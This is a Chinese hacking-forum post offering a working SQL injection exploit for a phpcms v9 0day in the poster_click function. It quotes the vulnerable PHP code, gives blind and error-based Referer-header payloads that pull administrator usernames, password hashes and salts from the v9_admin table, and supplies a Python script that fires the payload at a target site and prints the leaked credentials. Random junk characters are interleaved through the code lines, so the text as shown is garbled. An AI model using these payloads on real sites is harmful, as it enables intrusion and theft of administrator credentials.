找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2446|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
7 a: d. I) _6 [: q3 [
+ H( s, O/ t$ \5 {问题函数\phpcms\modules\poster\index.php: y+ Z+ {, q, j9 E6 }* Y# B

, r* A' `0 ^5 z& Z; Mpublic function poster_click() {: h* t9 o2 M4 f) @
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
/ i$ }. ?' P' m# _& V# O$r = $this->db->get_one(array('id'=>$id));
5 m( E1 H9 C) X( Mif (!is_array($r) && empty($r)) return false;
8 X- e  b6 _* F% K! E( X$ip_area = pc_base::load_sys_class('ip_area');. L) ^+ x% U( w0 a; P
$ip = ip();
) v' k# N( ]9 j, Z& p$area = $ip_area->get($ip);1 F4 F5 }+ W5 m1 Z* U! y5 ~
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
" J% `: X' h- N" Y  B" mif($id) {9 L; `1 y- @) S( F6 F' M
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
  W4 K* J# q; |% P) F) a, x. p$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));, F% ?0 w0 t+ w) m0 H7 ^$ T
}
& p, u2 x4 O( B$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));! q" _2 j! n! K& W% ?1 L. B4 \0 c
$setting = string2array($r['setting']);
7 @) {0 S0 B3 w8 l& N' n1 C; M. K3 Bif (count($setting)==1) {
9 M' B1 K' d( {$url = $setting['1']['linkurl'];
2 N0 ^" ?, W6 e: {- j) a$ P7 @} else {
3 Z4 B. S- O" k% z$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
' X4 y# q# p9 A7 `  h}
# ^. a, h# \' @; m$ Q" w! Mheader('Location: '.$url);
& K* @5 N8 ]7 |( u5 I/ D% t. i: l% h- d. [}2 T% v# P9 _0 u/ g

- U5 |% \0 F9 m: R/ \0 L, i4 |* X ) {$ U' b9 M% w2 ?% S& a
/ i6 R- p9 a6 c, O# L
利用方式:
' E; e$ f, j1 a) n/ o( N9 N! v, t  l% H
& r7 c3 Z1 U0 A, W: d1、可以采用盲注入的手法:+ m/ _) T" K  _4 P' x) O

' j( L/ u* y% T' s3 k2 u5 i8 ]* Greferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#! Q* S! C- n5 R4 Y/ N

" \4 p* ^# n1 q% u& E通过返回页面,正常与否一个个猜解密码字段。+ Y' I4 D! C' v# h' `

# u+ u# n* F/ U1 v# |! N2、代码是花开写的,随手附上了:5 d3 f1 U$ ~3 E0 v& f9 n6 ?9 A2 ?

- c. v4 `: r& ~# M1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
3 C9 x, v/ T& I; {- Q4 |7 I" w7 \4 [' e$ P  x' @: Y
此方法是爆错注入手法,原理自查。
- E1 @3 m3 p* E2 k% O, W# t
: [& I' k3 x: M" [; {2 A/ p
" M, z7 I& H5 d% O
( T* a) E0 w5 k利用程序:! L6 ]4 Q2 h. [3 f- H; Z

3 |/ ]* |2 G$ c" i9 h5 ?0 p3 i7 u% k( X#!/usr/bin/env python7 K4 _* o. s& }9 n; J1 V
import httplib,sys,re; b% X" S5 u# ?, j/ V) q4 y
4 F: C+ E7 G- R  d' j0 f
def attack():
/ M+ d! N; K! D0 F% [# u6 Pprint “Code by Pax.Mac Team conqu3r!”
8 x8 H9 t) p% c  R& Rprint “Welcome to our zone!!!”7 p, v3 {7 l% Z; ]/ {
url=sys.argv[1]
! A7 i) u3 L% K3 n# D( B  H! j/ mpaths=sys.argv[2]
* {5 j* F1 u3 |conn = httplib.HTTPConnection(url)4 P, m% e  u3 z% K: E( j$ P  N8 @" N
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,6 h' U4 x$ H8 i% H0 Z6 o4 I
“Accept”: “text/plain”,
* R# O7 x5 R+ b0 q“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}+ L! S1 m' C5 o
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)' u8 ?5 l$ \' S3 N. R
r1 = conn.getresponse()
9 _" v6 T& g& \: C/ b5 e$ Fdatas=r1.read()# d( |* R6 [$ w# ^  `
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
9 G. A" G3 }2 a4 F2 |5 J; \6 Nprint datas[0]& W: b5 N9 Y! z6 k& F  N( r' Y
conn.close()/ D* g8 O3 J; x" X
if __name__==”__main__”:
0 w: `. y" E8 G( j) A- Nif len(sys.argv)<3:
$ j5 }1 L0 g  C2 b3 |$ hprint “Code by Pax.Mac Team conqu3r”
  H# D$ d3 w7 T  Bprint “Usgae:”
1 |! R  c$ N/ P5 aprint “    phpcmsattack.py   www.paxmac.org /”
- f5 t4 T2 C  p- l* u# wprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”6 j' s: E! a# T# x4 F
sys.exit(1)
* G- H% [( i' g4 W$ S6 ^3 Pattack()
# Y* C$ o+ p: J. n" U  s
5 n8 K8 A7 }- t2 W# p4 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表